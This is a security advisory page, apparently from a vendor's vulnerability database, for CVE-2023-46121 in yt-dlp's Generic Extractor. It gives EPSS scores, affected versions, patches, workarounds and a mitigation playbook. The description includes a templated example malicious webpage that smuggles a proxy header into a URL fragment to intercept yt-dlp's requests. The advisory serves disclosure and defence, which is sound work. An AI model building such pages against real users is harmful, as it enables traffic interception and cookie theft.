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🐍 PyPI

GHSA-3ch3-jhc6-5r8x

MEDIUM

yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection

Also known asCVE-2023-46121
Published
Nov 15, 2023
Updated
Feb 16, 2024
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk23th percentile+0.22%
0.00%0.27%0.55%0.82%0.1%0.3%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍yt-dlp

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Impact

The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.

<details>

To pass extra control data between extractors (such as headers like Referer), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only.

Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a Referer header sent with it, for example.

Additionally, yt-dlp has internal headers to set a proxy for a request: Ytdl-request-proxy and Ytdl-socks-proxy. While these are deprecated, internally Ytdl-request-proxy is still used for --geo-verification-proxy.

However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to set an arbitrary proxy for an arbitrary url that the Generic extractor will request.

This could allow for the following, but not limited too:

  • An attacker can MITM a request it asks yt-dlp to make to any website.
    • If a user has loaded cookies into yt-dlp for the target site, which are not marked as secure, they could be exfiltrated by the attacker.
    • Fortunately most sites are HTTPS and should be setting cookies as secure.
  • An attacker can set cookies for an arbitrary site.

An example malicious webpage:

<!DOCTYPE html>
<cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')

Where {{ target_site }} is the URL Generic extractor will request and {{ proxy url }} is the proxy to proxy the request for this url through.

</details>

Patches

  • We have removed the ability to smuggle http_headers to the Generic extractor, as well as other extractors that use the same pattern.

Workarounds

  • Disable Generic extractor (--ies default,-generic), or only pass trusted sites with trusted content.
  • Take caution when using --no-check-certificate.

References

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIyt-dlp≥ 2022.10.04&&< 2023.11.142023.11.14

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yt-dlp. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update yt-dlp to 2023.11.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3ch3-jhc6-5r8x is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-3ch3-jhc6-5r8x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-3ch3-jhc6-5r8x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases. <details> To pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This funct
O3 Security · Impact-Aware SCA

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